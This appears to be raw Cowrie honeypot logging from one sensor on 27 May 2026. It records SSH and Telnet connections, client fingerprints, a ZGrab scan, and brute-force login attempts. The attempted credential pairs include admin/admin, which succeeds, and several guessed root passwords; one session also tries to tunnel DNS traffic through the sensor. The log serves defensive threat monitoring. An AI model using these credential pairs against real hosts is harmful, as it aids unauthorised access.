{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:25.712780Z","src_ip":"194.59.206.2","session":"74b34287b32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:25.804101Z","src_ip":"194.59.206.2","session":"74b34287b32a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.571906328201294,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:46.437974Z","src_ip":"135.148.14.151","session":"995edb92d09f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.215","src_port":62866,"dst_ip":"10.17.0.5","dst_port":22,"session":"01b44b47d54c","protocol":"ssh","message":"New connection: 198.235.24.215:62866 (10.17.0.5:22) [session: 01b44b47d54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:47.847760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:48.787646Z","src_ip":"198.235.24.215","session":"01b44b47d54c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:50.115973Z","src_ip":"198.235.24.215","session":"01b44b47d54c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.70610976219177,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:52.482035Z","src_ip":"135.148.14.151","session":"ce5b0e90e85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:57.975670Z","src_ip":"198.235.24.215","session":"01b44b47d54c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.97244644165039,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:13:59.152925Z","src_ip":"135.148.14.151","session":"75f104e087d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35402,"dst_ip":"159.203.135.109","dst_port":23,"session":"705e23ae4985","protocol":"telnet","message":"New connection: 135.148.14.151:35402 (159.203.135.109:23) [session: 705e23ae4985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:02.465329Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39998,"dst_ip":"159.203.135.109","dst_port":23,"session":"555d3a7a1365","protocol":"telnet","message":"New connection: 135.148.14.151:39998 (159.203.135.109:23) [session: 555d3a7a1365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:13.754106Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bde7d24e040","protocol":"ssh","message":"New connection: 202.51.70.20:40444 (10.17.0.5:22) [session: 4bde7d24e040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:16.978812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:16.983898Z","src_ip":"202.51.70.20","session":"4bde7d24e040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:17.243804Z","src_ip":"202.51.70.20","session":"4bde7d24e040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":4518,"dst_ip":"10.17.0.5","dst_port":22,"session":"411729343c89","protocol":"ssh","message":"New connection: 87.251.64.176:4518 (10.17.0.5:22) [session: 411729343c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:17.980233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:17.985084Z","src_ip":"87.251.64.176","session":"411729343c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:18.291437Z","src_ip":"87.251.64.176","session":"411729343c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"online","message":"login attempt [root/online] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:18.521835Z","src_ip":"202.51.70.20","session":"4bde7d24e040","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:18.664949Z","src_ip":"87.251.64.176","session":"411729343c89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:18.761556Z","session":"411729343c89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:18.861130Z","src_ip":"87.251.64.176","session":"411729343c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:18.958275Z","src_ip":"87.251.64.176","session":"411729343c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41522,"dst_ip":"159.203.135.109","dst_port":23,"session":"1729922a1bff","protocol":"telnet","message":"New connection: 135.148.14.151:41522 (159.203.135.109:23) [session: 1729922a1bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:19.158844Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:19.785385Z","src_ip":"202.51.70.20","session":"4bde7d24e040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45460,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf9d57cc55b","protocol":"telnet","message":"New connection: 135.148.14.151:45460 (159.203.135.109:23) [session: 8bf9d57cc55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:31.751776Z"}
{"eventid":"cowrie.session.closed","duration":38.30626726150513,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:40.771500Z","src_ip":"135.148.14.151","session":"705e23ae4985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93572473526001,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:48.689707Z","src_ip":"135.148.14.151","session":"555d3a7a1365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.408259868621826,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:14:52.567007Z","src_ip":"135.148.14.151","session":"1729922a1bff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33978,"dst_ip":"159.203.135.109","dst_port":23,"session":"601583c9bd88","protocol":"telnet","message":"New connection: 135.148.14.151:33978 (159.203.135.109:23) [session: 601583c9bd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:03.363083Z"}
{"eventid":"cowrie.session.closed","duration":33.4773325920105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:05.229006Z","src_ip":"135.148.14.151","session":"8bf9d57cc55b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40986,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbbdf934b94a","protocol":"telnet","message":"New connection: 135.148.14.151:40986 (159.203.135.109:23) [session: bbbdf934b94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:18.375149Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8c13a117d3e","protocol":"telnet","message":"New connection: 135.148.14.151:41126 (159.203.135.109:23) [session: b8c13a117d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:18.650638Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44260,"dst_ip":"159.203.135.109","dst_port":23,"session":"484ac51b2c44","protocol":"telnet","message":"New connection: 135.148.14.151:44260 (159.203.135.109:23) [session: 484ac51b2c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:25.563529Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53920,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7781d62a0a9","protocol":"ssh","message":"New connection: 103.15.222.183:53920 (159.203.135.109:22) [session: d7781d62a0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:26.416192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:26.421213Z","src_ip":"103.15.222.183","session":"d7781d62a0a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:26.660234Z","src_ip":"103.15.222.183","session":"d7781d62a0a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hellfire","message":"login attempt [root/hellfire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:27.376811Z","src_ip":"103.15.222.183","session":"d7781d62a0a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:28.617989Z","src_ip":"103.15.222.183","session":"d7781d62a0a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"5442880655cc","protocol":"telnet","message":"New connection: 135.148.14.151:48596 (159.203.135.109:23) [session: 5442880655cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:34.495811Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50126,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c0220e35cbb","protocol":"telnet","message":"New connection: 135.148.14.151:50126 (159.203.135.109:23) [session: 1c0220e35cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:38.747330Z"}
{"eventid":"cowrie.session.closed","duration":35.699397802352905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:39.062350Z","src_ip":"135.148.14.151","session":"601583c9bd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":37402,"dst_ip":"10.17.0.5","dst_port":22,"session":"673210a915d7","protocol":"ssh","message":"New connection: 109.172.54.111:37402 (10.17.0.5:22) [session: 673210a915d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:42.180284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:42.185296Z","src_ip":"109.172.54.111","session":"673210a915d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:42.284578Z","src_ip":"109.172.54.111","session":"673210a915d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"911yana777","message":"login attempt [root/911yana777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:42.582748Z","src_ip":"109.172.54.111","session":"673210a915d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:43.681517Z","src_ip":"109.172.54.111","session":"673210a915d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.237.147.156","src_port":36854,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ddb2efe11f","protocol":"ssh","message":"New connection: 104.237.147.156:36854 (10.17.0.5:22) [session: d2ddb2efe11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.875560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:15:49.880645Z","src_ip":"104.237.147.156","session":"d2ddb2efe11f","protocol":"ssh"}
